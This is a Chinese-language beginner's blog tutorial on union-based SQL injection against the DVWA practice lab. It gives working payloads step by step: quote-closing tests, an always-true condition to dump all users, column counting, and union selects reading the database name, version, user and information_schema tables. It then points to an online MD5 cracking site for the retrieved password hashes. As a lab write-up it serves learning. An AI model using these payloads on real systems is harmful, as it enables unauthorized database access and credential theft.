0
点赞
收藏
分享

微信扫一扫

union注入攻击之dvwa靶场实战演练(union秒懂教程)

天悦哥 2022-04-19 阅读 72
web安全

第一步,我们来分析是否存在字符型注入点:

1、id=1 返回正常。

2、id=1' 返回错误

3、id=1 and 1=1 “1=1” 为真返回正常

4、id=1 and 1=2 “1=2”为假返回错误。

测试符合这四个条件,证明该位置存在字符型注入点漏洞。

//原理分析:

因为字符型的注入点不同于数字型  数字型注入点 后台的php传参点格式为  id=$  

字符型则为  'id=$'   有两个引号  

下面以dvwa靶场进行实验演示

我们输入1'#    来使'id=$'前边的引号闭合并且用#注释掉后边的引号 ,因此返回正常。 

我们输入 1' 使前边的引号闭合 但不输入#  此时后台执行的语句为  id='1''  1后边两个引号此时会发生报错:

有此原理我们可以构造 1' or '1'='1

此时后台语句为   id='1' or '1'='1'  都为真,因此可以可以得出所有的用户信息:

 //!!!!!

 

第二步,判断字符数:

使用1' order by 1# 返回正常

1' order by 2# 返回正常

1' order by 3# 返回错误

得到此处的数据库字段数为2

第三步,判断其输出位置

1' union select 1,2, #

第四步,获取所有数据库名:

利用union方式查看数据库名称并查看数据库版本

1' union select database(),version()#

查看用户名和数据库名:

1' union select user(),database()

 

 

得到数据库名称为”dvwa"    用户名为“root@localhost”      数据库版本为“5.7.26”

第五步,查看dvwa数据库中的表名:

利用union方式查看

1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

第六步查询列名:

猜测需要的信息在users中

因此直接查询users 

 最后一步!查看字段:

因为发现了列中有 user和password

因此直接查询这两个字段名

得到最后字段,但是经过加密。

在这里分享一个很不错的解密平台:md5在线查询破解,md5解密加密icon-default.png?t=M3C8https://md5.cc/

新手学习心得,中间遇得到查询表名时可能会遇到 Illegal mix of collations for operation “UNION”

的报错信息,这时候我们需要将union字符段左右的字符规则改变一致,即可

 

举报

相关推荐

0 条评论